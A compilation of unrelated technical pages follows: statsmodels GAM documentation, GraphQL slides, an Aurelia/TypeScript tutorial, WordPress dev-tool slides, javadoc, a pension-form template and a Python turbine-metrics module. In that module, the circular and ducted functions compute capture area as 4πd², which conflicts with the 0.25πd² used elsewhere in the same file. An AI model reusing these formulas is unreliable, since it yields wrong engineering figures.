Generalized Additive Models (GAM)¶
Generalized Additive Models allow for penalized estimation of smooth terms in generalized linear models.
See Module Reference for commands and arguments.
Examples¶
The following illustrates a Gaussian and a Poisson regression where categorical variables are treated as linear terms and the effect of two explanatory variables is captured by penalized B-splines. The data is from the automobile dataset https://archive.ics.uci.edu/ml/datasets/automobile We can load a dataframe with selected columns from the unit test module.
In [1]: import statsmodels.api as sm In [2]: from statsmodels.gam.api import GLMGam, BSplines # import data In [3]: from statsmodels.gam.tests.test_penalized import df_autos # create spline basis for weight and hp In [4]: x_spline = df_autos[['weight', 'hp']] In [5]: bs = BSplines(x_spline, df=[12, 10], degree=[3, 3]) # penalization weight In [6]: alpha = np.array([21833888.8, 6460.38479]) In [7]: gam_bs = GLMGam.from_formula('city_mpg ~ fuel + drive', data=df_autos, ...: smoother=bs, alpha=alpha) ...: In [8]: res_bs = gam_bs.fit() In [9]: print(res_bs.summary()) Generalized Linear Model Regression Results ============================================================================== Dep. Variable: city_mpg No. Observations: 203 Model: GLMGam Df Residuals: 189.13 Model Family: Gaussian Df Model: 12.87 Link Function: identity Scale: 4.8825 Method: PIRLS Log-Likelihood: -441.81 Date: Sun, 24 Nov 2019 Deviance: 923.45 Time: 07:51:35 Pearson chi2: 923. No. Iterations: 3 Covariance Type: nonrobust ================================================================================ coef std err z P>|z| [0.025 0.975] -------------------------------------------------------------------------------- Intercept 51.9923 1.997 26.034 0.000 48.078 55.906 fuel[T.gas] -5.8099 0.727 -7.989 0.000 -7.235 -4.385 drive[T.fwd] 1.3910 0.819 1.699 0.089 -0.213 2.995 drive[T.rwd] 1.0638 0.842 1.263 0.207 -0.587 2.715 weight_s0 -3.5556 0.959 -3.707 0.000 -5.436 -1.676 weight_s1 -9.0876 1.750 -5.193 0.000 -12.518 -5.658 weight_s2 -13.0303 1.827 -7.132 0.000 -16.611 -9.450 weight_s3 -14.2641 1.854 -7.695 0.000 -17.897 -10.631 weight_s4 -15.1805 1.892 -8.024 0.000 -18.889 -11.472 weight_s5 -15.9557 1.963 -8.128 0.000 -19.803 -12.108 weight_s6 -16.6297 2.038 -8.161 0.000 -20.624 -12.636 weight_s7 -16.9928 2.045 -8.308 0.000 -21.002 -12.984 weight_s8 -19.3480 2.367 -8.174 0.000 -23.987 -14.709 weight_s9 -20.7978 2.455 -8.472 0.000 -25.609 -15.986 weight_s10 -20.8062 2.443 -8.517 0.000 -25.594 -16.018 hp_s0 -1.4473 0.558 -2.592 0.010 -2.542 -0.353 hp_s1 -3.4228 1.012 -3.381 0.001 -5.407 -1.438 hp_s2 -5.9026 1.251 -4.717 0.000 -8.355 -3.450 hp_s3 -7.2389 1.352 -5.354 0.000 -9.889 -4.589 hp_s4 -9.1052 1.384 -6.581 0.000 -11.817 -6.393 hp_s5 -9.9865 1.525 -6.547 0.000 -12.976 -6.997 hp_s6 -13.3639 2.228 -5.998 0.000 -17.731 -8.997 hp_s7 -13.8902 3.194 -4.349 0.000 -20.150 -7.630 hp_s8 -11.9752 2.556 -4.685 0.000 -16.985 -6.965 ================================================================================ # plot smooth components In [10]: res_bs.plot_partial(0, cpr=True) Out[10]: <Figure size 640x480 with 1 Axes> In [11]: res_bs.plot_partial(1, cpr=True) Out[11]: <Figure size 640x480 with 1 Axes> In [12]: alpha = np.array([8283989284.5829611, 14628207.58927821]) In [13]: gam_bs = GLMGam.from_formula('city_mpg ~ fuel + drive', data=df_autos, ....: smoother=bs, alpha=alpha, ....: family=sm.families.Poisson()) ....: In [14]: res_bs = gam_bs.fit() In [15]: print(res_bs.summary()) Generalized Linear Model Regression Results ============================================================================== Dep. Variable: city_mpg No. Observations: 203 Model: GLMGam Df Residuals: 194.75 Model Family: Poisson Df Model: 7.25 Link Function: log Scale: 1.0000 Method: PIRLS Log-Likelihood: -530.38 Date: Sun, 24 Nov 2019 Deviance: 37.569 Time: 07:51:35 Pearson chi2: 37.4 No. Iterations: 6 Covariance Type: nonrobust ================================================================================ coef std err z P>|z| [0.025 0.975] -------------------------------------------------------------------------------- Intercept 3.9960 0.130 30.844 0.000 3.742 4.250 fuel[T.gas] -0.2398 0.057 -4.222 0.000 -0.351 -0.128 drive[T.fwd] 0.0386 0.075 0.513 0.608 -0.109 0.186 drive[T.rwd] 0.0309 0.078 0.395 0.693 -0.122 0.184 weight_s0 -0.0811 0.030 -2.689 0.007 -0.140 -0.022 weight_s1 -0.1938 0.063 -3.067 0.002 -0.318 -0.070 weight_s2 -0.3160 0.082 -3.864 0.000 -0.476 -0.156 weight_s3 -0.3735 0.090 -4.160 0.000 -0.549 -0.198 weight_s4 -0.4187 0.096 -4.360 0.000 -0.607 -0.230 weight_s5 -0.4645 0.103 -4.495 0.000 -0.667 -0.262 weight_s6 -0.5092 0.112 -4.555 0.000 -0.728 -0.290 weight_s7 -0.5469 0.119 -4.598 0.000 -0.780 -0.314 weight_s8 -0.6211 0.137 -4.528 0.000 -0.890 -0.352 weight_s9 -0.6866 0.153 -4.486 0.000 -0.987 -0.387 weight_s10 -0.7370 0.174 -4.228 0.000 -1.079 -0.395 hp_s0 -0.0247 0.010 -2.378 0.017 -0.045 -0.004 hp_s1 -0.0557 0.022 -2.479 0.013 -0.100 -0.012 hp_s2 -0.1046 0.038 -2.719 0.007 -0.180 -0.029 hp_s3 -0.1438 0.050 -2.857 0.004 -0.242 -0.045 hp_s4 -0.1919 0.063 -3.047 0.002 -0.315 -0.068 hp_s5 -0.2567 0.079 -3.231 0.001 -0.412 -0.101 hp_s6 -0.4152 0.120 -3.455 0.001 -0.651 -0.180 hp_s7 -0.4889 0.152 -3.214 0.001 -0.787 -0.191 hp_s8 -0.5470 0.195 -2.810 0.005 -0.928 -0.166 ================================================================================ # Optimal penalization weights alpha can be obtaine through generalized # cross-validation or k-fold cross-validation. # The alpha above are from the unit tests against the R mgcv package. In [16]: gam_bs.select_penweight()[0] Out[16]: array([8.2839e+09, 1.4628e+07]) In [17]: gam_bs.select_penweight_kfold()[0] Out[17]:<PHONE_NUMBER>534969, 15848.931924611108)
References¶
Hastie, Trevor, and Robert Tibshirani. 1986. Generalized Additive Models. Statistical Science 1 (3): 297-310.
Wood, Simon N. 2006. Generalized Additive Models: An Introduction with R. Texts in Statistical Science. Boca Raton, FL: Chapman & Hall/CRC.
Wood, Simon N. 2017. Generalized Additive Models: An Introduction with R. Second edition. Chapman & Hall/CRC Texts in Statistical Science. Boca Raton: CRC Press/Taylor & Francis Group.
Module Reference¶
Model Class¶
|
Model class for generalized additive models, GAM. |
|
Generalized Additive model for discrete Logit |
Results Classes¶
|
Results class for generalized additive models, GAM. |
Smooth Basis Functions¶
Currently there is verified support for two spline bases
|
additive smooth components using B-Splines |
|
additive smooth components using cyclic cubic regression splines |
statsmodels.gam.smooth_basis includes additional splines and a (global) polynomial smoother basis but those have not been verified yet.
Families and Link Functions¶
The distribution families in GLMGam are the same as for GLM and so are the corresponding link functions. Current unit tests only cover Gaussian and Poisson, and GLMGam might not work for all options that are available in GLM.


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GraphQL
1 March 2018
My goal is to explain and demonstrate GraphQL technology
It should take about 20 minutes, leaving us 10 minutes for discussion
These slides are available online
GraphQL is a specification for a query language for APIs.
It is an alternative to REST.
GraphQL is in use by many notable companies, including
(if you care)
Specificity
We can request only those fields we will use
Predictability
The response format matches the the query
Efficiency
We can get more than one thing at a time
Discoverability
We can ask a GraphQL schema about itself
Reliability
We can stop versioning our API
graphql-ruby
A gem by Robert Mosolgo of GitHub which provides a GraphQL server implementation and a DSL for defining your schema.
rmosolgo/graphql-ruby
In practice, broken out into classes
N.B. this syntax is in flux
- A client-side library for React, iOS, and Android
- A mock server to develop front-end code against
- From Meteor Development Group
Basic Apollo usage example
GraphiQL
Provided by graphiql-rails gem, runs independently, also available as an Electron app
Summary
- GraphQL is a spec for building an API
- Advantages are specificity, predictability, efficiency, discoverability, and reliability
- Back-end, front-end, and introspection tooling is available


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Today, Core Aurelia Team member, Mike Graham, teaches us about combining Aurelia and TypeScript.
About The Author
Mike Graham (@cmichaelgraham) is a software architect with 25 years of experience designing and building extensible visualization platforms and solutions for the energy industry. He is working to help make Aurelia a first class development environment for building mapping applications using TypeScript.
Introduction
Today, we will see how easy it is to get started developing on the Aurelia platform and how to leverage the power of TypeScript, a free and open source programming language developed and maintained by Microsoft. We will focus on the main benefits and how to efficiently get going.
As a note before we get started, one of the truly great things about the Aurelia platform is its ability to support a wide variety of development scenarios. Choosing the TypeScript language for Aurelia development is one of several great development language choices.
TypeScript Benefits
In case you are wondering why you would want to look at using TypeScript, lets explore some of the features it provides.
JavaScript IS TypeScript
It is super easy to get started with TypeScript because JavaScript IS TypeScript. This means we can just rename our .js
files to .ts
files and we are off and running.
We will then immediately see TypeScript benefits before we've done anything to our code.
The Integrated Development Environment (or IDE)
TypeScript benefits show up at design time, when we are actually writing and compiling our code. We gain access to these benefits through tooling
exposed by the IDE of your choice. We have many excellent choices for our IDE. Here is a short list of options:
- Atom IDE with the Atom-TypeScript extension
- WebStorm IDE
- Sublime Text IDE with the Sublime-TypeScript extension
- Eclipse IDE with the Eclipse-TypeScript extension
- Visual Studio 2013 IDE
- Visual Studio 2015 IDE
- Visual Studio Code IDE
Type Inference
The TypeScript language service (which is leveraged by the IDE), can use type inference to make intelligent observations about our code and its expected types, before we ever add any type information ourselves.
Some of the benefits are possible because there is additional information that the IDE tooling has about the code.
Type inference might be relatively simple, like picking up the type of a constant that is assigned to a variable at initialization, and flowing that type through a function return.
It may also be quite sophisticated like picking up a function signature from assignment to a known callback type, defined in a type definition file.
IntelliSense
When the IDE knows type information, it can offer statement completion, reducing typos and also making platforms like Aurelia EVEN easier to learn and use (we'll see examples of this when we start developing our application).
The statement completion pop-up choices also includes any inline doc comments like descriptions, parameters and parameter descriptions and return types.
It makes it so easy for developers to explore, experiment with, and discover the features of an API.
Intelligent Refactoring
As an application grows in size, renaming and other refactoring operations become necessary. Without type information, error-prone search and replace options must be used, but with TypeScript, the language service knows where the renaming should occur and where it is a different identifier that happens to have the same name.
Code Generation
TypeScript type annotations evaporate
when the code is compiled. The generated JavaScript is canonical JavaScript, well formatted, and what an expert would write to implement the corresponding patterns.
Type Definition Files
One very important capability of TypeScript is the ability to wrap the API of an existing JavaScript library with defined types. This is done by creating a file with a .d.ts
extension that declares the types a developer can expect from the API. Many, many JavaScript libraries have been wrapped by .d.ts
files, created by the open source community and housed at
DefinitelyTyped
.
Each Aurelia repo has a corresponding .d.ts
file, as seen
here
.
Aurelia TypeScript Application
Great! You made it this far, and hopefully by now you're convinced that TypeScript might be able to help you.
If you want to follow along, building and running as we go, you can read the steps outlined here . If not, no worries; you can just look at the code and screen shots below to get a more concrete feel for the benefits obtained by using TypeScript to build Aurelia applications.
If you have trouble adapting the sample to your particular development environment, feel free to engage with the Aurelia community's vibrant
gitter channel
or post questions on
Stack Overflow
, using the aurelia
tag.
There is an excellent getting started video that shows the basics of getting an Aurelia application up an running using ES6 development.
Lets dive in and look at some code.
main.ts
The role of the main.ts
file is to initialize Aurelia and then start up with the app
view and view model.
The first thing to notice is that the TypeScript version of this code and the JavaScript version are identical.
export function configure(aurelia) {
aurelia.use
.standardConfiguration()
.developmentLogging();
aurelia.start().then(a => a.setRoot());
}
The reason this works is because JavaScript IS TypeScript.
But now lets pretend that we didn't have the code to paste in from the Aurelia documentation. This is where TypeScript begins to shine.
Notice that the configure function accepts an Aurelia
object as its parameter. At this point no type has been specified, so the IDE tooling can't help us figure out how to use the object we've been passed.
To obtain the Aurelia
type, we need to import it from the aurelia-framework
repo. As we type the import statement, the IDE tooling suggests possible imports we might want:
Now we can fill in the actual type we want to pull in from the aurelia-framework
repo. Again the IDE tooling leads the way, showing us the repo's exports, and helping us pick the one we are seeking:
The fact that we're picking the name from a list and not typing it out manually reduces typos. But lets say we're feeling pretty good about our typing, and ignore the IDE tooling's helpful suggestion. If we do make a typo, a friendly, unobtrusive red squiggly underline is presented to us.
So at this point we have successfully imported the Aurelia
type, and can now use it to annotate the parameter type in the configure
function as shown below. Type annotation allows the IDE tooling to help us discover and chose valid members of the object.
At this point you may be wondering how the IDE actually knew about the types in the aurelia-framework
import. Let's talk about that next.
TypeScript Type Definition (.d.ts
) Files
Each Aurelia repo has a corresponding .d.ts
file that declares the type information exposed by that repo's public API. Our project's Aurelia .d.ts
files can be found
here
.
You can inspect the
aurelia-framework.d.ts
if you'd like a glimpse at the syntax that defined the Aurelia
type we used in our example above.
But how does the IDE know which .d.ts
files to include in our project? The next section explains that very mechanism.
The tsconfig.json
Project File
The tsconfig.json
file is a universal project format for TypeScript. Our project's tsconfig.json
file is located
here
.
This is the tsconfig.json file in our project (with the files property stripped down to save space).
{
"version": "1.5.1",
"compilerOptions": {
"target": "es5",
"module": "amd",
"declaration": false,
"noImplicitAny": false,
"removeComments": false,
"noLib": true,
"emitDecoratorMetadata": true
},
"filesGlob": [
"./**/*.ts",
"!./node_modules/**/*.ts"
],
"files": [
// ...
]
}
The files
property is filled in automatically by Atom-TypeScript using the filesGlob
property's patterns. This occurs when saving tsconfig.json
.
For a description of the compilerOptions
, please refer to the
TypeScript wiki Compiler-Options page
. emitDecoratorMetadata
is an experimental compiler option that allows the @autoinject decorator to do its job (described in the next section).
Atom-TypeScript has an excellent description of the tsconfig.json details here
So the answer to the question about how Atom-TypeScript knows which files to include comes from (in our case) the expression: ./**/*.ts
, which says start in the root folder of the project and pull in any files ending in .ts
(which includes files that end in .d.ts
), so all of our .d.ts
files in the typings folder will be included.
The final concept we'll explore before we wrap up (and provide you with a list related resources), is the topic of decorators
Decorators
From the excellent decorator description by Mr. Yehuda Katz :
Decorators make it possible to annotate and modify classes and properties at design time.
While ES5 object literals support arbitrary expressions in the value position, ES6 classes only support literal functions as values. Decorators restore the ability to run code at design time, while maintaining a declarative syntax.
A decorator is:
- an expression
- that evaluates to a function
- that takes the target, name, and property descriptor as arguments and
- optionally returns a property descriptor to install on the target object
Lets make that abstract concept more concrete by looking at some specific ways that Aurelia uses decorators.
First off, decorators are actually part of the ES7 (a.k.a ES2016) spec, but are available for your use today through the the TypeScript 1.5 Compiler (here's a TypeScript roadmap ).
Now lets look at some code that shows how easy it is for you to use decorators.
dependency injection
We are going to look at a simple example of dependency injection. You may be very familiar with the concept of dependency injection, but if you're not, think about the flickr view and view model in our sample application. The view model needs to retrieve a collection of images from the Flickr web services.
We are going to "separate our concerns" into separate responsibilities - our flickr view model will worry only about how to display the results that come back from the web service, and the Aurelia HttpClient
will be responsible for managing the HTTP retrieval of data from the web service.
We really don't want our flickr view model to even worry about how to obtain the Aurelia HttpClient
. We just want to specify in our constructor that we need it and we'll let the framework take care of the rest.
All we have to do to get the Aurelia framework to "inject" the Aurelia Http Client into our constructor is to first import and then place the @autoinject
decorator on the class.
IntelliSense will help us discover and correctly type the text as before.
So you can see, we just ask for the HttpClient
and then we use its public API. In fact, our flickr view model will be happy with any object that provides the same (polymorphic) API - that is one of the very powerful aspects of dependency injection.
Now lets dive a little deeper. Don't worry if you don't understand everything going on in the next section as we talk about the decorator called bindable
.
bindable
Before we talk about the bindable
decorator, we'll need a little bit of background.
First, a custom element
is a reusable view / view model pair that can be embedded in another view.
In our sample project, we have a custom element
called nav-bar
:
The nav-bar
custom element gives us a great way to "encapsulate" the layout and functionality of our navigation menu in a single unit that can be included with a clean, understandable syntax:
Notice in the code above that our custom element
(the nav-bar
) has a router property that we are able to set (bind
) to the router in our main application. This works because the Aurelia framework supports bindable properties in custom elements
. But how does the Aurelia framework know which properties are to be exposed as such? (hopefully you are thinking DECORATORS !!).
Within the nav-bar
view model, the @bindable
decorator is used to alert the Aurelia framework that we want the router
property to be bindable.
So in the outer code that embeds the nav-bar
, we bound it to the router, and now router is accessible to the nav-bar
's view. Notice how clean and expressive the nav-bar
's view template is, when referencing the router object's properties:
I'm sure at this point you're ready to start building great applications in TypeScript and Aurelia. Here are a few resources you can utilize as you start down the path. Thanks for your interest and we look forward to seeing you online !!
Resources
Editor
Thanks Mike for sharing with us about using TypeScript with Aurelia today!
Now, let me extend an invitation to our community to help us by providing some additional feedback. One thing that helps to make TypeScript development much nicer is having a TypeScript Definition File. These can be tedious and time-consuming to create, especially when you want them to be accurate across multiple libraries and releases. Our current definition files are manually synced and lack some of the type information we think would be nice to have. We are investigating several options to improve this. Here are a few things we could do:
- Convert to TypeScript - We could convert Aurelia's codebase to TypeScript. This would allow us to use the TypeScript compiler to generate pure ES5 output code in the same way that we use Babel today, but we would also be able to generate a good Definition File.
- Leverage Flow Types + Babel Plugin - We could keep our existing ES6/7 codebase and continue to compile it with Babel, but we can decorate the code with Flow types. A community member has written a Babel plugin that can generate a TypeScript definition file using the ES6 code and Flow type annotations.
- Dual Compilation - Write Aurelia in a way that it can be compiled by both Babel and TypeScript. Babel can ignore Flow types and interfaces, so this should be possible. Then, we can use the Babel compiler to generate our JavaScript build and the TypeScript compiler to generate the Definition Files.
Note, that none of these options affects how you, developers of apps, write your code. It only affects the development of Aurelia itself. We'd love to hear what you think of these options and/or if you have any ideas of your own. Thanks!


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---
layout: post
title: "Kelsey Grammer is spectacular"
date: 2012-07-30
comments: false
---
After watching 11 seasons of
Frasier, I couldn't imagine
Kelsey Grammer could be anyone but a comedian. When I watched
Boss I was glad to be wrong. The character of Tom Kane is as diametrically opposite of Frasier as possible and Kelsey has packed it with genuine terror of the scale I have rarely seen.


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Git is not something you learn in a day.
Git is something you learn over the course of your career.
Virtualized development environment…
…a computer inside a computer.
You can vagrant destroy
,
but you can never vagrant forget
.
File format often used for configurations.
{
"name": "rp3agency-website",
"title": "RP3 Agency Website",
"url": "https://rp3agency.com",
"contributors": [
{
"name": "Tracy Rotton",
"email"<EMAIL_ADDRESS>},
{
"name": "Kurt Roberts",
"email"<EMAIL_ADDRESS>}
]
}
package.json
bower install npm install brew install yum
Wait, that’s wrong…I always forget which order the package managers are supposed to be in.
— I Am Devloper (@iamdevloper) May 16, 2014
Automates the process of installing, updating, and removing software.
Retrieves code from a central repository.
Very simple plugin for showing you which template file WordPress is using to generate the page you're on.
Installs a "Debug" section in your admin bar with diagnostic information.
Makes sure your theme meets the standards required to be added to the WordPress theme repository. Makes sure your using WordPress best practices in building your theme.
Especially useful when working with responsive images, takes the images in your media library and creates different sized versions of them.
Exports your database as a MySQL data dump, does a find and replace on URLs and file paths, then allows you to save it to your computer.
Allows you to import an XML file, such as the Theme Unit Test data.
git clone https://github.com/taupecat/VVV.git
cd VVV
vagrant up
vagrant ssh
cd /vagrant
composer install
npm install
cd www/wordpress-default
wp plugin activate --all
wp scaffold _s [theme-slug] \
--theme_name="[Theme Name]" --sassify
wp theme activate [theme-name]
wp import ../../theme-unit-test-data.xml --authors=skip


import numpy as np
[docs]def circular(diameter):
"""
Calculates the equivalent diameter and projected capture area of a
circular turbine
Parameters
------------
diameter : int/float
Turbine diameter [m]
Returns
---------
equivalent_diameter : float
Equivalent diameter [m]
projected_capture_area : float
Projected capture area [m^2]
"""
assert isinstance(diameter, (int,float)), 'diameter must be of type int or float'
equivalent_diameter = diameter
projected_capture_area = 4.*np.pi*(equivalent_diameter**2.)
return equivalent_diameter, projected_capture_area
[docs]def ducted(duct_diameter):
"""
Calculates the equivalent diameter and projected capture area of a
ducted turbine
Parameters
------------
duct_diameter : int/float
Duct diameter [m]
Returns
---------
equivalent_diameter : float
Equivalent diameter [m]
projected_capture_area : float
Projected capture area [m^2]
"""
assert isinstance(duct_diameter, (int,float)), 'duct_diameter must be of type int or float'
equivalent_diameter = duct_diameter
projected_capture_area = 4.*np.pi*(equivalent_diameter**2.)
return equivalent_diameter, projected_capture_area
[docs]def rectangular(h, w):
"""
Calculates the equivalent diameter and projected capture area of a
retangular turbine
Parameters
------------
h : int/float
Turbine height [m]
w : int/float
Turbine width [m]
Returns
---------
equivalent_diameter : float
Equivalent diameter [m]
projected_capture_area : float
Projected capture area [m^2]
"""
assert isinstance(h, (int,float)), 'h must be of type int or float'
assert isinstance(w, (int,float)), 'w must be of type int or float'
equivalent_diameter = np.sqrt(4.*h*w / np.pi)
projected_capture_area = h*w
return equivalent_diameter, projected_capture_area
[docs]def multiple_circular(diameters):
"""
Calculates the equivalent diameter and projected capture area of a
multiple circular turbine
Parameters
------------
diameters: list
List of device diameters [m]
Returns
---------
equivalent_diameter : float
Equivalent diameter [m]
projected_capture_area : float
Projected capture area [m^2]
"""
assert isinstance(diameters, list), 'diameters must be of type list'
diameters_squared = [x**2 for x in diameters]
equivalent_diameter = np.sqrt(sum(diameters_squared))
projected_capture_area = 0.25*np.pi*sum(diameters_squared)
return equivalent_diameter, projected_capture_area
[docs]def tip_speed_ratio(rotor_speed,rotor_diameter,inflow_speed):
'''
Function used to calculate the tip speed ratio (TSR) of a MEC device with rotor
Parameters
-----------
rotor_speed : numpy array
Rotor speed [revolutions per second]
rotor_diameter : float/int
Diameter of rotor [m]
inflow_speed : numpy array
Velocity of inflow condition [m/s]
Returns
--------
TSR : numpy array
Calculated tip speed ratio (TSR)
'''
try: rotor_speed = np.asarray(rotor_speed)
except: 'rotor_speed must be of type np.ndarray'
try: inflow_speed = np.asarray(inflow_speed)
except: 'inflow_speed must be of type np.ndarray'
assert isinstance(rotor_diameter, (float,int)), 'rotor diameter must be of type int or float'
rotor_velocity = rotor_speed * np.pi*rotor_diameter
TSR = rotor_velocity / inflow_speed
return TSR
[docs]def power_coefficient(power,inflow_speed,capture_area,rho):
'''
Function that calculates the power coefficient of MEC device
Parameters
-----------
power : numpy array
Power output signal of device after losses [W]
inflow_speed : numpy array
Speed of inflow [m/s]
capture_area : float/int
Projected area of rotor normal to inflow [m^2]
rho : float/int
Density of environment [kg/m^3]
Returns
--------
Cp : numpy array
Power coefficient of device [-]
'''
try: power = np.asarray(power)
except: 'power must be of type np.ndarray'
try: inflow_speed = np.asarray(inflow_speed)
except: 'inflow_speed must be of type np.ndarray'
assert isinstance(capture_area, (float,int)), 'capture_area must be of type int or float'
assert isinstance(rho, (float,int)), 'rho must be of type int or float'
# Predicted power from inflow
power_in = (0.5 * rho * capture_area * inflow_speed**3)
Cp = power / power_in
return Cp


| | |
- __builtin__.object
-
- Jsonc
class Jsonc(__builtin__.object) |
| |
Represents JSON-C data in an easy to access object format.
To access the members of a JSON structure which looks like this:
{
"data": {
"totalItems": 800,
"items": [
{
"content": {
"1": "rtsp://v5.cache3.c.youtube.com/CiILENy.../0/0/0/video.3gp"
},
"viewCount": 220101,
"commentCount": 22,
"favoriteCount": 201
}
]
},
"apiVersion": "2.0"
}
You would do the following:
x = gdata.core.parse_json(the_above_string)
# Gives you 800
x.data.total_items
# Should be 22
x.data.items[0].comment_count
# The apiVersion is '2.0'
x.api_version
To create a Jsonc object which would produce the above JSON, you would do:
gdata.core.Jsonc(
api_version='2.0',
data=gdata.core.Jsonc(
total_items=800,
items=[
gdata.core.Jsonc(
view_count=220101,
comment_count=22,
favorite_count=201,
content={
'1': ('rtsp://v5.cache3.c.youtube.com'
'/CiILENy.../0/0/0/video.3gp')})]))
or
x = gdata.core.Jsonc()
x.api_version = '2.0'
x.data = gdata.core.Jsonc()
x.data.total_items = 800
x.data.items = []
# etc.
How it works:
The JSON-C data is stored in an internal dictionary (._dict) and the
getattr, setattr, and delattr methods rewrite the name which you provide
to mirror the expected format in JSON-C. (For more details on name
conversion see _to_jsonc_name.) You may also access members using
getitem, setitem, delitem as you would for a dictionary. For example
x.data.total_items is equivalent to x['data']['totalItems']
(Not all dict methods are supported so if you need something other than
the item operations, then you will want to use the ._dict member).
You may need to use getitem or the _dict member to access certain
properties in cases where the JSON-C syntax does not map neatly to Python
objects. For example the YouTube Video feed has some JSON like this:
"content": {"1": "rtsp://v5.cache3.c.youtube.com..."...}
You cannot do x.content.1 in Python, so you would use the getitem as
follows:
x.content['1']
or you could use the _dict member as follows:
x.content._dict['1']
If you need to create a new object with such a mapping you could use.
x.content = gdata.core.Jsonc(_dict={'1': 'rtsp://cache3.c.youtube.com...'}) |
| |
Methods defined here:
- __delattr__(self, name)
- __delitem__(self, key)
- __getattr__(self, name)
- __getitem__(self, key)
- # For container methods pass-through to the underlying dict.
- __init__(self, _dict=None, **kwargs)
- __setattr__(self, name, value)
- __setitem__(self, key, value)
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
| |


I'm Pat Hermens, an Australian that's spent a decent amount of time living & working in the Netherlands.
I am a .NET developer (for the last 20 years or so), a technical manager, a public speaker,
a happy husband and father, but most of all; I'm just a nerd.
I'm currently a Principal at
Slalom Build
in Sydney, Australia,
and I was previously Development Manager at Coolblue in Rotterdam, NL.


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.apache.ws.jaxme.xs.impl.XSParticleImpl
public class XSParticleImpl
Default implementation of a particle.
| Nested Class Summary |
|---|
| Nested classes/interfaces inherited from interface org.apache.ws.jaxme.xs.XSParticle |
|---|
XSParticle.Type |
| Field Summary |
|---|
| Fields inherited from interface org.apache.ws.jaxme.xs.XSParticle |
|---|
ELEMENT, GROUP, WILDCARD |
| Constructor Summary | |
|---|---|
XSParticleImpl(XSAny pWildcard)
|
|
XSParticleImpl(XSElement pElement)
|
|
XSParticleImpl(XSGroup pGroup)
|
| Method Summary | |
|---|---|
XSElement |
getElement()
If the particle type is element: Returns the element. |
XSGroup |
getGroup()
If the particle type is group: Returns the group. |
org.xml.sax.Locator |
getLocator()
Returns the particles Locator. |
int |
getMaxOccurs()
Returns the particles maxOccurs value or -1 for unbounded. |
int |
getMinOccurs()
Returns the particles minOccurs value. |
XSParticle.Type |
getType()
Returns the particle type. |
XSAny |
getWildcard()
If the particle type is wildcard: Returns the wildcard. |
boolean |
isElement()
Shortcut for getType().equals(ELEMENT) . |
boolean |
isGroup()
Shortcut for getType().equals(GROUP) . |
boolean |
isWildcard()
Shortcut for getType().equals(WILDCARD) . |
void |
setMaxOccurs(int pMaxOccurs)
|
void |
setMinOccurs(int pMinOccurs)
|
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public XSParticleImpl(XSGroup pGroup) throws org.xml.sax.SAXException
org.xml.sax.SAXException
public XSParticleImpl(XSAny pWildcard)
public XSParticleImpl(XSElement pElement)
| Method Detail |
|---|
public XSParticle.Type getType()
XSParticle
Returns the particle type.
getType
in interface XSParticle
public boolean isGroup()
XSParticle
Shortcut for getType().equals(GROUP)
.
isGroup
in interface XSParticle
XSParticle.getType()
,
XSParticle.GROUP
public XSGroup getGroup()
XSParticle
If the particle type is group: Returns the group.
getGroup
in interface XSParticle
public boolean isWildcard()
XSParticle
Shortcut for getType().equals(WILDCARD)
.
isWildcard
in interface XSParticle
XSParticle.getType()
,
XSParticle.WILDCARD
public XSAny getWildcard()
XSParticle
If the particle type is wildcard: Returns the wildcard.
getWildcard
in interface XSParticle
public boolean isElement()
XSParticle
Shortcut for getType().equals(ELEMENT)
.
isElement
in interface XSParticle
XSParticle.getType()
,
XSParticle.ELEMENT
public XSElement getElement()
XSParticle
If the particle type is element: Returns the element.
getElement
in interface XSParticle
public int getMinOccurs()
XSParticle
Returns the particles minOccurs value.
getMinOccurs
in interface XSParticle
public void setMinOccurs(int pMinOccurs)
public int getMaxOccurs()
XSParticle
Returns the particles maxOccurs value or -1 for unbounded.
getMaxOccurs
in interface XSParticle
public void setMaxOccurs(int pMaxOccurs)
public org.xml.sax.Locator getLocator()
XSParticle
Returns the particles Locator.
getLocator
in interface XSParticle
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


--- layout: post title: "From Model-centric to Data-centric Artificial Intelligence" subtitle: "Is all the craze over new and more complex model architectures justified?" date: 2021-05-06 10:45:13 -0400 background: '/img/grey.png' ---
Two basic components of all AI systems are Data and Model, both go hand in hand in producing desired results. In this article we talk about how the AI community has been biased towards putting more effort in the model, and see how it is not always the best approach.
We all know that machine learning is an iterative process, because machine learning is largely an empirical science. You do not jump to the final solution by thinking about the problem, because you can no easily articulate what the solution should look like. Hence you empirically move towards better solutions. When you are in this iterative process, there are two major directions at you you disposal.
Read complete article here.


{% extends "layout_internal.html" %}
{% block page_title %}
{% endblock %}
{% block content %}
Before starting
|
|
| Live with anyone aged 18 or over |
No |
| Have any income other than pension |
No |
| In education or training |
No |
Personal details
|
|
| Full name |
{{firstname}}Shiela Green |
| Date of birth |
{{dobday}} {{dobmonth}} {{dobyear}} 02 April 1951 |
|
Address
|
1 West Street
Killingworth
Tyne and Wear
NE12 A34
|
|
NHS number
|
123 456 7891
|
Contact details
|
|
|
Email address
|
<EMAIL_ADDRESS>|
|
Telephone number
|
0191 222 0000
|
|
Text Relay service needed
|
No
|
Housing costs
|
|
|
Type of property
|
Rented accommodation
|
|
Getting housing benefit
|
Yes
|
|
How much rent is paid by housing benefit
|
Some
|
|
Rent frequency
|
Monthly
|
|
Rent amount after housing benefit
|
£220.20
|
|
Are meals or energy bills included in your rent?
|
No
|
|
Do you pay service charges?
|
No
|
|
Do you pay ground rent?
|
No
|
|
Do you pay council tax?
|
Yes
|
|
Yearly council tax amount
|
£1626.12
|
Your contact details
|
|
|
Contact method
|
Email
Telephone
|
|
Email address
|
<EMAIL_ADDRESS>|
|
Telephone number
|
0191 222 0000
|
|
Text Relay service needed
|
No
|
Savings
|
|
| Savings, investments and property |
Less than £6,000 |
Income and other money
State pension
|
|
|
Get a State Pension
|
Yes
|
|
State Pension frequency
|
Paid every 4 weeks
|
|
State Pension amount
|
£122.30
|
